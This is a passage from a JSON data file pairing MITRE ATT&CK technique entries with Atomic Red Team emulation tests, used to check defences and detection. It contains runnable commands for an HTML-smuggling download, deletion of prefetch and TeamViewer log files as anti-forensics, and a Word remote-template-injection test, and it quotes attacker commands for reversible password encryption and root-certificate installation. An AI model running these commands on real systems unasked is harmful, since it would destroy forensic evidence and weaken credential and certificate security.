[Stan Hegt](https://outflank.nl/blog/2018/08/14/html-smuggling-explained/)\n", - "supported_platforms": [ - "windows" - ], - "dependencies": [ - { - "description": "T1027_006_remote.html must exist on disk at specified at PathToAtomicsFolder\\T1027.006\\bin\\T1027_006_Remote.html\n", - "prereq_command": "if (Test-Path PathToAtomicsFolder\\T1027.006\\bin\\T1027_006_Remote.html) { exit 0} else { exit 1}\n", - "get_prereq_command": "New-Item -Type Directory \"PathToAtomicsFolder\\T1027.006\\bin\\\" -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1027.006/bin/T1027_006_Remote.html\" -OutFile \"PathToAtomicsFolder\\T1027.006\\bin\\T1027_006_Remote.html\"\n" - } - ], - "executor": { - "command": "PathToAtomicsFolder\\T1027.006\\bin\\T1027_006_remote.html\n", - "cleanup_command": "$user = [System.Environment]::UserName; Remove-Item -Path C:\\Users\\$user\\Downloads\\FeelTheBurn.iso", - "name": "powershell", - "elevation_required": false - } - } - ] - }, - "T1556.005": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--d50955c2-272d-4ac8-95da-10c29dda1c48", - "type": "attack-pattern", - "created": "2022-01-13T20:02:28.349Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1556.005", - "url": "https://attack.mitre.org/techniques/T1556/005" - }, - { - "source_name": "store_pwd_rev_enc", - "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/store-passwords-using-reversible-encryption", - "description": "Microsoft. (2021, October 28). Store passwords using reversible encryption. Retrieved January 3, 2022." - }, - { - "source_name": "how_pwd_rev_enc_1", - "url": "http://blog.teusink.net/2009/08/passwords-stored-using-reversible.html", - "description": "Teusink, N. (2009, August 25). Passwords stored using reversible encryption: how it works (part 1). Retrieved November 17, 2021." - }, - { - "source_name": "how_pwd_rev_enc_2", - "url": "http://blog.teusink.net/2009/08/passwords-stored-using-reversible_26.html", - "description": "Teusink, N. (2009, August 26). Passwords stored using reversible encryption: how it works (part 2). Retrieved November 17, 2021." - }, - { - "source_name": "dump_pwd_dcsync", - "url": "https://adsecurity.org/?p=2053", - "description": "Metcalf, S. (2015, November 22). Dump Clear-Text Passwords for All Admins in the Domain Using Mimikatz DCSync. Retrieved November 15, 2021." - } - ], - "modified": "2022-02-10T21:35:25.377Z", - "name": "Reversible Encryption", - "description": "An adversary may abuse Active Directory authentication encryption properties to gain access to credentials on Windows systems. The AllowReversiblePasswordEncryption property specifies whether reversible password encryption for an account is enabled or disabled. By default this property is disabled (instead storing user credentials as the output of one-way hashing functions) and should not be enabled unless legacy or other software require it.(Citation: store_pwd_rev_enc)\n\nIf the property is enabled and/or a user changes their password after it is enabled, an adversary may be able to obtain the plaintext of passwords created/changed after the property was enabled. To decrypt the passwords, an adversary needs four components:\n\n1. Encrypted password (G$RADIUSCHAP) from the Active Directory user-structure userParameters\n2. 16 byte randomly-generated value (G$RADIUSCHAPKEY) also from userParameters\n3. Global LSA secret (G$MSRADIUSCHAPKEY)\n4. Static key hardcoded in the Remote Access Subauthentication DLL (RASSFM.DLL)\n\nWith this information, an adversary may be able to reproduce the encryption key and subsequently decrypt the encrypted password value.(Citation: how_pwd_rev_enc_1)(Citation: how_pwd_rev_enc_2)\n\nAn adversary may set this property at various scopes through Local Group Policy Editor, user properties, Fine-Grained Password Policy (FGPP), or via the ActiveDirectory [PowerShell](https://attack.mitre.org/techniques/T1059/001) module. For example, an adversary may implement and apply a FGPP to users or groups if the Domain Functional Level is set to \"Windows Server 2008\" or higher.(Citation: dump_pwd_dcsync) In PowerShell, an adversary may make associated changes to user settings using commands similar to Set-ADUser -AllowReversiblePasswordEncryption $true.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "credential-access" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - } - ], - "x_mitre_detection": "Monitor property changes in Group Policy: Computer Configuration\\Windows Settings\\Security Settings\\Account Policies\\Password Policy\\Store passwords using reversible encryption. By default, the property should be set to Disabled.\n\nMonitor command-line usage for -AllowReversiblePasswordEncryption $true or other actions that could be related to malicious tampering of user settings (i.e. [Group Policy Modification](https://attack.mitre.org/techniques/T1484/001)). Furthermore, consider monitoring and/or blocking suspicious execution of Active Directory PowerShell modules, such as Set-ADUser and Set-ADAccountControl, that change account configurations. \n\nMonitor Fine-Grained Password Policies and regularly audit user accounts and group settings.(Citation: dump_pwd_dcsync)", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "User Account: User Account Metadata", - "Active Directory: Active Directory Object Modification", - "Command: Command Execution", - "Script: Script Execution" - ], - "x_mitre_permissions_required": [ - "User", - "Administrator" - ] - }, - "atomic_tests": [] - }, - "T1130": { - "technique": { - "x_mitre_platforms": [ - "Linux", - "Windows", - "macOS" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Itzik Kotler, SafeBreach", - "Travis Smith, Tripwire", - "Red Canary", - "Matt Graeber, @mattifestation, SpecterOps" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--d519cfd5-f3a8-43a9-a846-ed0bb40672b1", - "type": "attack-pattern", - "created": "2017-05-31T21:31:42.750Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "revoked": true, - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1130", - "url": "https://attack.mitre.org/techniques/T1130" - }, - { - "external_id": "CAPEC-479", - "source_name": "capec", - "url": "https://capec.mitre.org/data/definitions/479.html" - }, - { - "url": "https://en.wikipedia.org/wiki/Root_certificate", - "description": "Wikipedia. (2016, December 6). Root certificate. Retrieved February 20, 2017.", - "source_name": "Wikipedia Root Certificate" - }, - { - "url": "http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-finding-holes-operation-emmental.pdf", - "description": "Sancho, D., Hacquebord, F., Link, R. (2014, July 22). Finding Holes Operation Emmental. Retrieved February 9, 2016.", - "source_name": "Operation Emmental" - }, - { - "url": "https://www.kaspersky.com/blog/lenovo-pc-with-adware-superfish-preinstalled/7712/", - "description": "Onuma. (2015, February 24). Superfish: Adware Preinstalled on Lenovo Laptops. Retrieved February 20, 2017.", - "source_name": "Kaspersky Superfish" - }, - { - "source_name": "SpectorOps Code Signing Dec 2017", - "description": "Graeber, M. (2017, December 22). Code Signing Certificate Cloning Attacks and Defenses. Retrieved April 3, 2018.", - "url": "https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec" - }, - { - "source_name": "objective-see ay mami 2018", - "description": "Patrick Wardle. (2018, January 11). Ay MaMi. Retrieved March 19, 2018.", - "url": "https://objective-see.com/blog/blog_0x26.html" - }, - { - "source_name": "Microsoft Sigcheck May 2017", - "description": "Russinovich, M. et al.. (2017, May 22). Sigcheck. Retrieved April 3, 2018.", - "url": "https://docs.microsoft.com/sysinternals/downloads/sigcheck" - }, - { - "url": "https://www.tripwire.com/state-of-security/off-topic/appunblocker-bypassing-applocker/", - "description": "Smith, T. (2016, October 27). AppUNBlocker: Bypassing AppLocker. Retrieved December 19, 2017.", - "source_name": "Tripwire AppUNBlocker" - } - ], - "modified": "2020-02-21T21:11:06.761Z", - "name": "Install Root Certificate", - "description": "Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate. (Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.\n\nInstallation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials. (Citation: Operation Emmental)\n\nAtypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide a man-in-the-middle capability for intercepting information transmitted over secure TLS/SSL communications. (Citation: Kaspersky Superfish)\n\nRoot certificates (and their associated chains) can also be cloned and reinstalled. Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence. (Citation: SpectorOps Code Signing Dec 2017)\n\nIn macOS, the Ay MaMi malware uses /usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert to install a malicious certificate as a trusted root certificate into the system keychain. (Citation: objective-see ay mami 2018)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_detection": "A system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity. (Citation: SpectorOps Code Signing Dec 2017) Check pre-installed certificates on new systems to ensure unnecessary or suspicious certificates are not present. Microsoft provides a list of trustworthy root certificates online and through authroot.stl. (Citation: SpectorOps Code Signing Dec 2017) The Sysinternals Sigcheck utility can also be used (sigcheck[64].exe -tuv) to dump the contents of the certificate store and list valid certificates not rooted to the Microsoft Certificate Trust List. (Citation: Microsoft Sigcheck May 2017)\n\nInstalled root certificates are located in the Registry under HKLM\\SOFTWARE\\Microsoft\\EnterpriseCertificates\\Root\\Certificates\\ and [HKLM or HKCU]\\Software[\\Policies\\]\\Microsoft\\SystemCertificates\\Root\\Certificates\\. There are a subset of root certificates that are consistent across Windows systems and can be used for comparison: (Citation: Tripwire AppUNBlocker)\n\n* 18F7C1FCC3090203FD5BAA2F861A754976C8DD25\n* 245C97DF7514E7CF2DF8BE72AE957B9E04741E85\n* 3B1EFD3A66EA28B16697394703A72CA340A05BD5\n* 7F88CD7223F3C813818C994614A89C99FA3B5247\n* 8F43288AD272F3103B6FB1428485EA3014C0BCFE\n* A43489159A520F0D93D032CCAF37E7FE20A8B419\n* BE36A4562FB2EE05DBB3D32323ADF445084ED656\n* CDD4EEAE6000AC7F40C3802C171E30148030C072", - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_defense_bypassed": [ - "Digital Certificate Validation" - ], - "x_mitre_permissions_required": [ - "Administrator", - "User" - ] - }, - "atomic_tests": [] - }, - "T1070.004": { - "technique": { - "x_mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Walker Johnson" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "id": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", - "created": "2020-01-31T12:35:36.479Z", - "x_mitre_version": "1.1", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1070.004", - "url": "https://attack.mitre.org/techniques/T1070/004" - }, - { - "source_name": "Microsoft SDelete July 2016", - "url": "https://docs.microsoft.com/en-us/sysinternals/downloads/sdelete", - "description": "Russinovich, M. (2016, July 4). SDelete v2.0. Retrieved February 8, 2018." - } - ], - "x_mitre_deprecated": false, - "revoked": false, - "description": "Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.\n\nThere are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well.(Citation: Microsoft SDelete July 2016) Examples of built-in [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) functions include del on Windows and rm or unlink on Linux and macOS.", - "modified": "2022-04-16T18:25:43.231Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Indicator Removal on Host: File Deletion", - "x_mitre_detection": "It may be uncommon for events related to benign command-line functions such as DEL or third-party utilities or tools to be found in an environment, depending on the user base and how systems are typically used. Monitoring for command-line deletion functions to correlate with binaries or other files that an adversary may drop and remove may lead to detection of malicious activity. Another good practice is monitoring for known deletion and secure deletion tools that are not already on systems within an enterprise network that an adversary could introduce. Some monitoring tools may collect command-line arguments, but may not capture DEL commands since DEL is a native function within cmd.exe.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_is_subtechnique": true, - "x_mitre_data_sources": [ - "Command: Command Execution", - "File: File Deletion" - ], - "x_mitre_defense_bypassed": [ - "Host forensic analysis" - ], - "x_mitre_attack_spec_version": "2.1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "identifier": "T1070.004" - }, - "atomic_tests": [ - { - "name": "Delete a single file - Windows cmd", - "auto_generated_guid": "861ea0b4-708a-4d17-848d-186c9c7f17e3", - "description": "Delete a single file from the temporary directory using cmd.exe.\nUpon execution, no output will be displayed. Use File Explorer to verify the file was deleted.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "file_to_delete": { - "description": "File to delete. Run the prereq command to create it if it does not exist.", - "type": "string", - "default": "%temp%\\deleteme_T1551.004" - } - }, - "dependency_executor_name": "command_prompt", - "dependencies": [ - { - "description": "The file to delete must exist on disk at specified location (#{file_to_delete})\n", - "prereq_command": "IF EXIST \"#{file_to_delete}\" ( EXIT 0 ) ELSE ( EXIT 1 )\n", - "get_prereq_command": "echo deleteme_T1551.004 >> #{file_to_delete}\n" - } - ], - "executor": { - "command": "del /f #{file_to_delete}\n", - "name": "command_prompt" - } - }, - { - "name": "Delete an entire folder - Windows cmd", - "auto_generated_guid": "ded937c4-2add-42f7-9c2c-c742b7a98698", - "description": "Recursively delete a folder in the temporary directory using cmd.exe.\nUpon execution, no output will be displayed. Use File Explorer to verify the folder was deleted.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "folder_to_delete": { - "description": "Folder to delete. Run the prereq command to create it if it does not exist.", - "type": "string", - "default": "%temp%\\deleteme_T1551.004" - } - }, - "dependency_executor_name": "command_prompt", - "dependencies": [ - { - "description": "The file to delete must exist on disk at specified location (#{folder_to_delete})\n", - "prereq_command": "IF EXIST \"#{folder_to_delete}\" ( EXIT 0 ) ELSE ( EXIT 1 )\n", - "get_prereq_command": "mkdir #{folder_to_delete}\n" - } - ], - "executor": { - "command": "rmdir /s /q #{folder_to_delete}\n", - "name": "command_prompt" - } - }, - { - "name": "Delete a single file - Windows PowerShell", - "auto_generated_guid": "9dee89bd-9a98-4c4f-9e2d-4256690b0e72", - "description": "Delete a single file from the temporary directory using Powershell. Upon execution, no output will be displayed. Use File Explorer to verify the file was deleted.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "file_to_delete": { - "description": "File to delete. Run the prereq command to create it if it does not exist.", - "type": "string", - "default": "$env:TEMP\\deleteme_T1551.004" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "The file to delete must exist on disk at specified location (#{file_to_delete})\n", - "prereq_command": "if (Test-Path #{file_to_delete}) {exit 0} else {exit 1}\n", - "get_prereq_command": "New-Item -Path #{file_to_delete} | Out-Null\n" - } - ], - "executor": { - "command": "Remove-Item -path #{file_to_delete}\n", - "name": "powershell" - } - }, - { - "name": "Delete an entire folder - Windows PowerShell", - "auto_generated_guid": "edd779e4-a509-4cba-8dfa-a112543dbfb1", - "description": "Recursively delete a folder in the temporary directory using Powershell. Upon execution, no output will be displayed. Use File Explorer to verify the folder was deleted.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "folder_to_delete": { - "description": "Folder to delete. Run the prereq command to create it if it does not exist.", - "type": "string", - "default": "$env:TEMP\\deleteme_folder_T1551.004" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "The folder to delete must exist on disk at specified location (#{folder_to_delete})\n", - "prereq_command": "if (Test-Path #{folder_to_delete}) {exit 0} else {exit 1}\n", - "get_prereq_command": "New-Item -Path #{folder_to_delete} -Type Directory | Out-Null\n" - } - ], - "executor": { - "command": "Remove-Item -Path #{folder_to_delete} -Recurse\n", - "name": "powershell" - } - }, - { - "name": "Delete Prefetch File", - "auto_generated_guid": "36f96049-0ad7-4a5f-8418-460acaeb92fb", - "description": "Delete a single prefetch file. Deletion of prefetch files is a known anti-forensic technique. To verify execution, Run \"(Get-ChildItem -Path \"$Env:SystemRoot\\prefetch\\*.pf\" | Measure-Object).Count\"\nbefore and after the test to verify that the number of prefetch files decreases by 1.\n", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "Remove-Item -Path (Join-Path \"$Env:SystemRoot\\prefetch\\\" (Get-ChildItem -Path \"$Env:SystemRoot\\prefetch\\*.pf\" -Name)[0])\n", - "name": "powershell", - "elevation_required": true - } - }, - { - "name": "Delete TeamViewer Log Files", - "auto_generated_guid": "69f50a5f-967c-4327-a5bb-e1a9a9983785", - "description": "Adversaries may delete TeamViewer log files to hide activity. This should provide a high true-positive alert ration.\nThis test just places the files in a non-TeamViewer folder, a detection would just check for a deletion event matching the TeamViewer\nlog file format of TeamViewer_##.log. Upon execution, no output will be displayed. Use File Explorer to verify the folder was deleted.\n\nhttps://twitter.com/SBousseaden/status/1197524463304290305?s=20\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "teamviewer_log_file": { - "description": "Teamviewer log file to create and delete.", - "type": "string", - "default": "$env:TEMP\\TeamViewer_54.log" - } - }, - "executor": { - "command": "New-Item -Path #{teamviewer_log_file} -Force | Out-Null\nRemove-Item #{teamviewer_log_file} -Force -ErrorAction Ignore\n", - "name": "powershell" - } - } - ] - }, - "T1158": { - "technique": { - "x_mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--dc27c2ec-c5f9-4228-ba57-d67b590bda93", - "type": "attack-pattern", - "created": "2017-12-14T16:46:06.044Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "revoked": true, - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1158", - "url": "https://attack.mitre.org/techniques/T1158" - }, - { - "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/", - "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.", - "source_name": "Sofacy Komplex Trojan" - }, - { - "url": "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/", - "description": "Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.", - "source_name": "Antiquated Mac Malware" - }, - { - "url": "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf", - "description": "Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware. Retrieved July 10, 2017.", - "source_name": "WireLurker" - } - ], - "modified": "2020-03-13T21:01:22.966Z", - "name": "Hidden Files and Directories", - "description": "To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a \u2018hidden\u2019 file. These files don\u2019t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (dir /a for Windows and ls \u2013a for Linux and macOS).\n\nAdversaries can use this to their advantage to hide files and folders anywhere on the system for persistence and evading a typical user or system analysis that does not incorporate investigation of hidden files.\n\n### Windows\n\nUsers can mark specific files as hidden by using the attrib.exe binary. Simply do attrib +h filename to mark a file or folder as hidden. Similarly, the \u201c+s\u201d marks a file as a system file and the \u201c+r\u201d flag marks the file as read only. Like most windows binaries, the attrib.exe binary provides the ability to apply these changes recursively \u201c/S\u201d.\n\n### Linux/Mac\n\nUsers can mark specific files as hidden simply by putting a \u201c.\u201d as the first character in the file or folder name (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folder that start with a period, \u2018.\u2019, are by default hidden from being viewed in the Finder application and standard command-line utilities like \u201cls\u201d. Users must specifically change settings to have these files viewable. For command line usages, there is typically a flag to see all files (including hidden ones). To view these files in the Finder Application, the following command must be executed: defaults write com.apple.finder AppleShowAllFiles YES, and then relaunch the Finder Application.\n\n### Mac\n\nFiles on macOS can be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker).\nMany applications create these hidden files and folders to store information so that it doesn\u2019t clutter up the user\u2019s workspace. For example, SSH utilities create a .ssh folder that\u2019s hidden and contains the user\u2019s known hosts and keys.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - } - ], - "x_mitre_detection": "Monitor the file system and shell commands for files being created with a leading \".\" and the Windows command-line use of attrib.exe to add the hidden attribute.", - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_defense_bypassed": [ - "Host forensic analysis" - ], - "x_mitre_permissions_required": [ - "User" - ] - }, - "atomic_tests": [] - }, - "T1221": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Michael Raggi @aRtAGGI", - "Brian Wiltse @evalstrings", - "Patrick Campbell, @pjcampbe11" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--dc31fe1e-d722-49da-8f5f-92c7b5aff534", - "type": "attack-pattern", - "created": "2018-10-17T00:14:20.652Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1221", - "url": "https://attack.mitre.org/techniques/T1221" - }, - { - "url": "https://docs.microsoft.com/previous-versions/office/developer/office-2007/aa338205(v=office.12)", - "description": "Microsoft. (2014, July 9). Introducing the Office (2007) Open XML File Formats. Retrieved July 20, 2018.", - "source_name": "Microsoft Open XML July 2017" - }, - { - "source_name": "SANS Brian Wiltse Template Injection", - "url": "https://www.sans.org/reading-room/whitepapers/testing/template-injection-attacks-bypassing-security-controls-living-land-38780", - "description": "Wiltse, B.. (2018, November 7). Template Injection Attacks - Bypassing Security Controls by Living off the Land. Retrieved April 10, 2019." - }, - { - "url": "http://blog.redxorblue.com/2018/07/executing-macros-from-docx-with-remote.html", - "description": "Hawkins, J. (2018, July 18). Executing Macros From a DOCX With Remote Template Injection. Retrieved October 12, 2018.", - "source_name": "Redxorblue Remote Template Injection" - }, - { - "url": "https://blog.malwarebytes.com/threat-analysis/2017/10/decoy-microsoft-word-document-delivers-malware-through-rat/", - "description": "Segura, J. (2017, October 13). Decoy Microsoft Word document delivers malware through a RAT. Retrieved July 21, 2018.", - "source_name": "MalwareBytes Template Injection OCT 2017" - }, - { - "source_name": "Proofpoint RTF Injection", - "url": "https://www.proofpoint.com/us/blog/threat-insight/injection-new-black-novel-rtf-template-inject-technique-poised-widespread", - "description": "Raggi, M. (2021, December 1). Injection is the New Black: Novel RTF Template Inject Technique Poised for Widespread Adoption\u202fBeyond APT Actors\u202f. Retrieved December 9, 2021." - }, - { - "source_name": "Ciberseguridad Decoding malicious RTF files", - "url": "https://ciberseguridad.blog/decodificando-ficheros-rtf-maliciosos/", - "description": "Pedrero, R.. (2021, July). Decoding malicious RTF files. Retrieved November 16, 2021." - }, - { - "url": "https://forum.anomali.com/t/credential-harvesting-and-malicious-file-delivery-using-microsoft-office-template-injection/2104", - "description": "Intel_Acquisition_Team. (2018, March 1). Credential Harvesting and Malicious File Delivery using Microsoft Office Template Injection. Retrieved July 20, 2018.", - "source_name": "Anomali Template Injection MAR 2018" - }, - { - "url": "https://blog.talosintelligence.com/2017/07/template-injection.html", - "description": "Baird, S. et al.. (2017, July 7). Attack on Critical Infrastructure Leverages Template Injection. Retrieved July 21, 2018.", - "source_name": "Talos Template Injection July 2017" - }, - { - "url": "https://github.com/ryhanson/phishery", - "description": "Hanson, R. (2016, September 24). phishery. Retrieved July 21, 2018.", - "source_name": "ryhanson phishery SEPT 2016" - } - ], - "modified": "2022-01-12T18:16:56.176Z", - "name": "Template Injection", - "description": "Adversaries may create or modify references in user document templates to conceal malicious code or force authentication attempts. For example, Microsoft\u2019s Office Open XML (OOXML) specification defines an XML-based format for Office documents (.docx, xlsx, .pptx) to replace older binary formats (.doc, .xls, .ppt). OOXML files are packed together ZIP archives compromised of various XML files, referred to as parts, containing properties that collectively define how a document is rendered.(Citation: Microsoft Open XML July 2017)\n\nProperties within parts may reference shared public resources accessed via online URLs. For example, template properties may reference a file, serving as a pre-formatted document blueprint, that is fetched when the document is loaded.\n\nAdversaries may abuse these templates to initially conceal malicious code to be executed via user documents. Template references injected into a document may enable malicious payloads to be fetched and executed when the document is loaded.(Citation: SANS Brian Wiltse Template Injection) These documents can be delivered via other techniques such as [Phishing](https://attack.mitre.org/techniques/T1566) and/or [Taint Shared Content](https://attack.mitre.org/techniques/T1080) and may evade static detections since no typical indicators (VBA macro, script, etc.) are present until after the malicious payload is fetched.(Citation: Redxorblue Remote Template Injection) Examples have been seen in the wild where template injection was used to load malicious code containing an exploit.(Citation: MalwareBytes Template Injection OCT 2017)\n\nAdversaries may also modify the *\\template control word within an .rtf file to similarly conceal then download malicious code. This legitimate control word value is intended to be a file destination of a template file resource that is retrieved and loaded when an .rtf file is opened. However, adversaries may alter the bytes of an existing .rtf file to insert a template control word field to include a URL resource of a malicious payload.(Citation: Proofpoint RTF Injection)(Citation: Ciberseguridad Decoding malicious RTF files)\n\nThis technique may also enable [Forced Authentication](https://attack.mitre.org/techniques/T1187) by injecting a SMB/HTTPS (or other credential prompting) URL and triggering an authentication attempt.(Citation: Anomali Template Injection MAR 2018)(Citation: Talos Template Injection July 2017)(Citation: ryhanson phishery SEPT 2016)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_detection": "Analyze process behavior to determine if user document applications (such as Office) are performing actions, such as opening network connections, reading files, spawning abnormal child processes (ex: [PowerShell](https://attack.mitre.org/techniques/T1059/001)), or other suspicious actions that could relate to post-compromise behavior.\n\nMonitor .rtf files for strings indicating the *\\template control word has been modified to retrieve a URL resource, such as *\\template http or *\\template \\u-.", - "x_mitre_version": "1.3", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Process: Process Creation", - "Network Traffic: Network Traffic Content", - "Network Traffic: Network Connection Creation" - ], - "x_mitre_defense_bypassed": [ - "Static File Analysis" - ], - "x_mitre_permissions_required": [ - "User" - ], - "identifier": "T1221" - }, - "atomic_tests": [ - { - "name": "WINWORD Remote Template Injection", - "auto_generated_guid": "1489e08a-82c7-44ee-b769-51b72d03521d", - "description": "Open a .docx file that loads a remote .dotm macro enabled template from https://github.com/redcanaryco/atomic-red-team/tree/master/atomics/T1221/src/opencalc.dotm \nExecutes the code specified within the .dotm template.\nRequires download of WINWORD found in Microsoft Ofiice at Microsoft: https://www.microsoft.com/en-us/download/office.aspx. \nDefault docs file opens Calculator.exe when test sucessfully executed, while AV turned off.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "docx_file": { - "description": "Location of the test docx file on the local filesystem.", - "type": "path", - "default": "PathToAtomicsFolder\\T1221\\src\\Calculator.docx" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "", - "prereq_command": "", - "get_prereq_command": "" - } - ], - "executor": { - "command": "start #{docx_file}\n", - "name": "command_prompt" - } - } - ] - }, - "T1134": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Tom Ueltschi @c_APT_ure", - "Travis Smith, Tripwire", - "Robby Winchester, @robwinchester3", - "Jared Atkinson, @jaredcatkinson" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "id": "attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48", - "created": "2017-12-14T16:46:06.044Z", - "x_mitre_version": "2.0", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1134", - "url": "https://attack.mitre.org/techniques/T1134" - }, - { - "source_name": "BlackHat Atkinson Winchester Token Manipulation", - "url": "https://www.blackhat.com/docs/eu-17/materials/eu-17-Atkinson-A-Process-Is-No-One-Hunting-For-Token-Manipulation.pdf", - "description": "Atkinson, J., Winchester, R. (2017, December 7). A Process is No One: Hunting for Token Manipulation. Retrieved December 21, 2017." - }, - { - "source_name": "Microsoft Command-line Logging", - "url": "https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing", - "description": "Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017." - }, - { - "source_name": "Microsoft LogonUser", - "url": 